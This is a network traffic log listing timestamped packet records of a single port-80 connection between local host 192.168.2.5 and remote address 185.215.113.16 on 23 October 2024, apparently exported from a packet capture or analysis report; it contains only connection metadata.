Oct 23, 2024 15:49:20.574590921 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:20.574594021 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:20.574608088 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:20.574626923 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:20.574626923 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:20.574639082 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:20.574650049 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:20.574825048 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:20.574873924 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:20.574950933 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:20.574965000 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:20.574995041 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:20.575007915 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:20.604546070 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:20.604589939 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:20.604624987 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:20.604681969 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:20.604809046 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:20.605554104 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:20.605604887 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:20.605619907 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:20.605640888 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:20.605660915 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:20.605675936 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:20.605701923 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:20.605715036 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:20.605746031 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:20.605767012 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:20.605930090 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:20.605981112 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:20.605986118 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:20.606014967 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:20.606033087 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:20.606050014 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:20.606062889 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:20.606086016 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:20.606102943 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:20.606132030 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:20.646248102 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:20.646274090 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:20.646291018 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:20.646317005 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:20.646332979 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:20.646348953 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:20.646374941 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:20.646418095 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:20.692789078 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:20.692821026 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:20.692838907 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:20.692931890 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:20.692965984 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:20.693533897 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:20.693551064 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:20.693567038 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:20.693593025 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:20.693617105 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:20.693644047 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:20.693660021 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:20.693694115 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:20.693720102 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:20.723536015 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:20.723553896 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:20.723568916 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:20.723638058 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:20.723674059 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:20.724230051 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:20.724246025 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:20.724260092 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:20.724276066 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:20.724297047 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:20.724328995 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:20.724530935 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:20.724545956 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:20.724591017 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:20.724598885 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:20.724615097 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:20.724617958 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:20.724631071 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:20.724653006 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:20.724653006 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:20.724675894 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:20.765202999 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:20.765228987 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:20.765244007 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:20.765258074 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:20.765273094 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:20.765288115 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:20.765302896 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:20.765316963 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:20.765352964 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:20.765615940 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:20.765629053 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:20.765664101 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:20.765686989 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:20.811418056 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:20.811434984 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:20.811450005 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:20.811606884 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:20.812477112 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:20.812491894 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:20.812520027 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:20.812534094 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:20.812547922 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:20.812558889 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:20.812592983 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:20.812593937 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:20.842628002 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:20.842648983 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:20.842767954 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:20.842838049 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:20.842853069 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:20.842890978 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:20.842926979 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:20.843027115 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:20.843076944 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:20.843298912 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:20.843327045 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:20.843394041 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:20.843827009 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:20.843842983 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:20.843858004 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:20.843873978 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:20.843888044 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:20.843899965 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:20.843934059 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:20.844197989 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:20.844253063 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:20.883686066 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:20.883714914 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:20.883729935 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:20.883744001 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:20.883764029 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:20.883774042 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:20.883796930 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:20.883830070 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:20.883837938 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:20.883846045 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:20.883868933 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:20.883881092 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:20.883933067 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:20.883972883 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:20.884687901 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:20.884702921 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:20.884716988 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:20.884732008 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:20.884737968 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:20.884749889 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:20.884761095 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:20.884783030 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:20.930337906 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:20.930354118 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:20.930373907 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:20.930440903 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:20.930476904 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:20.931046009 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:20.931071043 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:20.931086063 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:20.931108952 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:20.931122065 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:20.931282043 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:20.931297064 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:20.931325912 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:20.931329966 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:20.931355953 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:20.931366920 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:20.961270094 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:20.961288929 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:20.961303949 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:20.961431980 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:20.961515903 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:20.961627960 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:20.961643934 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:20.961658955 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:20.961675882 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:20.961689949 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:20.962671041 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:20.962687016 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:20.962701082 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:20.962724924 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:20.962726116 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:20.962742090 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:20.962743998 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:20.962774038 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:20.962800026 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:21.002485991 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:21.002505064 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:21.002520084 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:21.002592087 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:21.002715111 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:21.003441095 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:21.003468037 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:21.003492117 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:21.003501892 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:21.003509045 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:21.003519058 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:21.003524065 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:21.003537893 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:21.003540039 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:21.003554106 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:21.003561974 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:21.003570080 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:21.003580093 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:21.003586054 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:21.003602982 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:21.003626108 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:21.003647089 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:21.049065113 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:21.049129963 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:21.049149990 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:21.049160957 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:21.049185991 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:21.049185991 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:21.049962044 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:21.049978018 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:21.049993038 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:21.050026894 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:21.050057888 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:21.050189972 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:21.050205946 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:21.050220013 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:21.050232887 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:21.050246954 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:21.050273895 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:21.079951048 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:21.079992056 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:21.080008030 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:21.080140114 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:21.080332994 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:21.080348015 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:21.080363989 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:21.080374002 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:21.080415964 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:21.080415964 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:21.081569910 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:21.081624031 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:21.081700087 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:21.081713915 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:21.081747055 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:21.081763983 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:21.081768990 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:21.081811905 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:21.121777058 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:21.121797085 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:21.121819973 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:21.121834040 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:21.121850014 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:21.121871948 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:21.121872902 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:21.121913910 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:21.122104883 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:21.122147083 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:21.122180939 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:21.122189999 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:21.122204065 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:21.122212887 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:21.122220993 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:21.122222900 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:21.122260094 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:21.122260094 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:21.123121977 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:21.123158932 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:21.123172998 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:21.123188972 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:21.123202085 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:21.123224020 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:21.123259068 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:21.123271942 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:21.123302937 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:21.123318911 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:21.167747021 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:21.167764902 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:21.167783976 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:21.167834997 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:21.168987036 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:21.169003010 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:21.169018030 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:21.169028044 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:21.169043064 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:21.169066906 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:21.169095039 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:21.169111013 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:21.169142962 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:21.169171095 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:21.198642969 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:21.198658943 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:21.198673010 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:21.198688984 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:21.198800087 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:21.198899031 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:21.199116945 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:21.199131012 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:21.199158907 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:21.199172974 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:21.199431896 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:21.199445009 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:21.199469090 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:21.199487925 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:21.200541973 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:21.200556993 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:21.200571060 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:21.200586081 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:21.200603962 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:21.242652893 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:21.242682934 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:21.242698908 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:21.242713928 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:21.242726088 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:21.242731094 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:21.242773056 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:21.242851019 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:21.243088007 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:21.243118048 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:21.243134975 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:21.243138075 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:21.243155003 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:21.243159056 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:21.243179083 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:21.243190050 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:21.243402958 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:21.243446112 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:21.243815899 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:21.243832111 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:21.243848085 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:21.243866920 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:21.243886948 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:21.243902922 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:21.243918896 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:21.243938923 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:21.243962049 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:21.248353004 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:21.248400927 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:21.287931919 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:21.287990093 CEST	80	49990	185.215.113.16	192.168.2.5
